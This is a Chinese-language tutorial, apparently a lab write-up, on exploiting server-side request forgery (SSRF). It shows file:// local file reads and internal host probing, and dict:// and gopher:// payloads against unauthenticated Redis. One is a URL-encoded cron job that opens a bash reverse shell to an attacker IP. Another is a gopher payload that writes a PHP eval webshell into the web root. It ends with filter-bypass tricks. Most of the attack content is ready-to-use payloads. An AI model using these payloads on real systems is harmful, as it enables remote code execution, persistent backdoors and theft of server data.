SSRF形成的原因大多是由于服务端提供了从其他服务器获取数据的功能,并且没有对目标地址进行过滤和限制.
应用程序(外网网站)有可以从其他服务器获取数据的功能,但是服务器并没有对网站的请求进行严格的过滤和限制,导致了用户(攻击者)可以进行任意URL链接访问
有回显情况:
参考链接:https://www.jianshu.com/p/068fe2152dde
使用bp抓包操作
1.利用file协议实现本地任意文件读取:
172.168.30.125/ssrf.php?url=file://c://windows/win.ini2.探测内网存活主机及开放端口:
通过响应时间长短,标题等多种因素判断存活主机情况
ssrf.php?url=http://172.168.30.23:4453.远程文件传输:利用TFTP协议
tftp即简单文件传输协议,允许客户端从远程主机获取文件
kali上输入: nc -lvup 6666
-l:监听入站信息;
-v:显示指令执行过程。
-u: 使用UDP传输协议
-p:设置本地主机使用的通信端口;
在SSRF漏洞存在的地方输入: tftp://10.1.1.200:6666
4.对内网web应用进行指纹识别:
sftp代表SSH文件传输协议,通过sftp协议获取SSH相关信息: Kali机器上输入:nc -lvp 1234在存在SSRF处输入:sftp://10.1.1.200:1234,点击‘TEST IT’后查看响应信息,
利用dict协议可以操作Redis服务
/ssrf.php?url=dict://192.168.107.129:6379/info利用contrab写计划任务反弹shell
/ssrf.php?url=dict://192.168.107.129:6379/config+set+dir+/var/spool/cron/crontabs /ssrf.php?url=dict://192.168.107.129:6379/set/dbfilename /ssrf.php?url=dict://192.168.107.129:6379/set+book4yi+%22%5cn%5c%6e%2a%2f1%20%2a%20%2a%20%2a%20%2a%20%2fbin%2fbash%20%2di%3e%26%2fdev%2ftcp%2f192%2e168%2e107%2e137%2f8000%200%3e%261%5cn%5cn%22 /ssrf.php?url=dict://192.168.107.129:6379/save5.使用gopher协议利用Redis未授权访问漏洞getshell
通过gopher协议攻击Redis,如果内网中的Redis存在未授权访问漏洞,当Redis服务以root权限运行时,利用gopher协议攻击内网中的Redis,通过写入定时任务可以实现反弹shell
gopher协议在各个编程语言中的使用限制:
gopher协议支持发出get、post请求。如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码。
gopher发送的数据包为十六进制数据。人工转换比较麻烦,这里我们利用一个负责转换gopher的payload的工具: 项目地址:https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream
编译后,执行命令如下命令,用于监听网卡:
./sniffer -p6379本地搭建好redis服务后,开启sniffer捕捉,并立即输入info命令查看redis服务,sniffer捕捉到的即为payload
gopher协议格式为 gopher://ip:port/_ + payload 这里之所以要加个_是因为gopher://ip:port/后面的第一个字符无法传出
这里我们将payload拷贝到burp数据包,第一次进行尝试,Kali主机监听6389:
目标主机并没有收到相应的请求,使用curl命令发送进行第二次尝试:
curl 'gopher://192.168.107.129:6379/_%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'可以看到成功执行命令,获取相关信息。可是现实中目标主机处于内网,不能这样利用
在网上查了查资料后,发现因为在PHP在接收到参数后会做一次URL的解码,正如我们上图所看到的,%20等字符已经被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要进行二次URL编码
注意:URL中的/不能进行两次编码,端口号不可以两次编码,协议名称不可两次转码
这里虽然显示500,但目标主机成功收到监听到相应请求,说明利用成功
这里我们利用向网站根目录写入一句话的方式getshell:
完整的payload为:
%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%34%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%72%65%64%69%73%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%32%39%0d%0a%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%70%61%73%73%5d%29%3b%20%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a构造burp数据包,发送恶意payload,这里将payload全部进行url编码:
成功写入一句话至站点根目录。这里我们利用curl也可以
小结一下: 通过dict协议的话要一条条命令地执行,而gopher协议执行一条命令就够了
注:个人觉得所有调外部资源的参数都有可能存在ssrf漏洞
1)分享:通过URL地址分享网页内容2)转码服务3)在线翻译4)图片加载与下载:通过URL地址加载或下载图片5)图片、文章收藏功能6)未公开的api实现以及其他调用URL的功能7)从URL关键字中寻找share wap url link src source target u 3g display sourceURl imageURL domain …
1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞
2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞
IP地址转换进制 添加端口 利用短地址进行302跳转(如192.168.1.1.xip.ip会自动重定向到192.168.1.1) 利用句号
1、利用@符号
ssrf.php?url=http://www.test.com@127.0.0.1:80相当于访问127.0.0.1
2、利用短地址进行302跳转 使用在线短链生成器:短链在线生成 - 站长工具
3、利用特殊域名
http://127.0.0.1.xip.io/ # 会解析成本地的127.0.0.1 http://www.owasp.org.127.0.0.1.xip.io/ http://mysite.10.0.0.1.xip.io http://foo.bar.10.0.0.1.xip.io4、ip利用进制转换: 利用十六进制或者八进制,例如目标IP为:192.168.107.129 分别将这四段数字转换为16进制和8进制 16进制:c0、a8、6b、81 8进制:300、250、153、201 访问的时候加0表示使用八进制(可以是一个0也可以是多个0)十六进制加0x 进制转换 - 在线工具
本地复现失败
5、URL跳转绕过:http://www.hackersb.cn/redirect.php?url=http://192.168.0.1/